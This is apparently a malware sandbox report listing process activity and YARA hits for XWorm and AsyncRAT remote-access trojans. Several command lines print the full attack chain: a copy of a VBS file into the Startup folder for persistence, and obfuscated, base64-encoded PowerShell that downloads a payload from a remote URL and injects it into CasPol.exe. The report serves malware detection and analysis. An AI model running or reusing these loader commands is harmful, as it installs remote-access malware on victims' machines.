Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000071.00000002.2463346324.00000237B3BB2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000071.00000002.2463346324.00000237B3BB2000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	114
Start time:	06:37:51
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: CasPol.exePID: 3864, Parent PID: 1504

General

Target ID:	115
Start time:	06:37:55
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0x1f0000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	116
Start time:	06:37:55
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0xa80000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	117
Start time:	06:38:07
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6808, Parent PID: 704

General

Target ID:	118
Start time:	06:38:07
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	119
Start time:	06:38:07
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 4252, Parent PID: 8612

General

Target ID:	121
Start time:	06:38:13
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	122
Start time:	06:38:13
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	123
Start time:	06:38:14
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: CasPol.exePID: 8460, Parent PID: 3912

General

Target ID:	124
Start time:	06:38:18
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0x3d0000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	125
Start time:	06:38:18
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0xf10000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000007D.00000002.2600075638.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000007D.00000002.2600075638.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	126
Start time:	06:38:21
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0x740000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	127
Start time:	06:39:30
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 8012, Parent PID: 7132

General

Target ID:	128
Start time:	06:39:30
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4024, Parent PID: 3884

General

Target ID:	129
Start time:	06:39:30
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	130
Start time:	06:39:30
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	131
Start time:	06:39:31
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 2144, Parent PID: 3884

General

Target ID:	132
Start time:	06:39:31
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	133
Start time:	06:39:38
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0xf80000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	134
Start time:	06:39:40
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0xea0000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.1%
Total number of Nodes:	974
Total number of Limit Nodes:	110

Executed Functions

Function 00007FF681B16A30 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 152
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getsockname.WS2_32 ref: 00007FF681B16A7C
WSAGetLastError.WS2_32 ref: 00007FF681B16ABA
bind.WS2_32 ref: 00007FF681B16C01
WSAGetLastError.WS2_32 ref: 00007FF681B16C19
closesocket.WS2_32 ref: 00007FF681B16C2C

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs, xrefs: 00007FF681B16B22
assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF681B16B3A

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorLast$bindclosesocketgetsockname
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs
API String ID: 3597230135-513854611
Opcode ID: f97b87458defa4abba73b6b72b8905b32611de249b97626e681283f19b0ceb0b
Instruction ID: 8582bc7ead5a9454da02318c91872f5e0ec8db06cdd365b489fa10e2376f6987
Opcode Fuzzy Hash: f97b87458defa4abba73b6b72b8905b32611de249b97626e681283f19b0ceb0b
Instruction Fuzzy Hash: 4651A061E08691CAF7258B64E4412FD6370FF46758F10A139DE8D97AA0EE7CAAC5C340

Function 00007FF681A60F30 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 611
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

assertion failed: size >= nread, xrefs: 00007FF681A6212F, 00007FF681A63359, 00007FF681A6367C, 00007FF681A63941

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: assertion failed: size >= nread
API String ID: 0-3085554437
Opcode ID: f7932bff74ae8bfb0ac49022c77c236172bf10138b59971723ea9176079d712e
Instruction ID: 4cdfcbebbe6f89ef8c8ba9a865a15b4fa0c24708aada69b00320ef5dd84835c9
Opcode Fuzzy Hash: f7932bff74ae8bfb0ac49022c77c236172bf10138b59971723ea9176079d712e
Instruction Fuzzy Hash: 8242BD76A08B8AD2EB258B65E5043FA67A0FF59784F40913ADB4D93781DF3CE1A5C700

Function 00007FF6819F6162 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

reqwest::blocking::wait) park timeout , xrefs: 00007FF6819F6295, 00007FF6819F63A8, 00007FF6819F65EE, 00007FF6819F671F
filled overflowIdleBusyDisabledInit, xrefs: 00007FF6819F68C6

Memory Dump Source

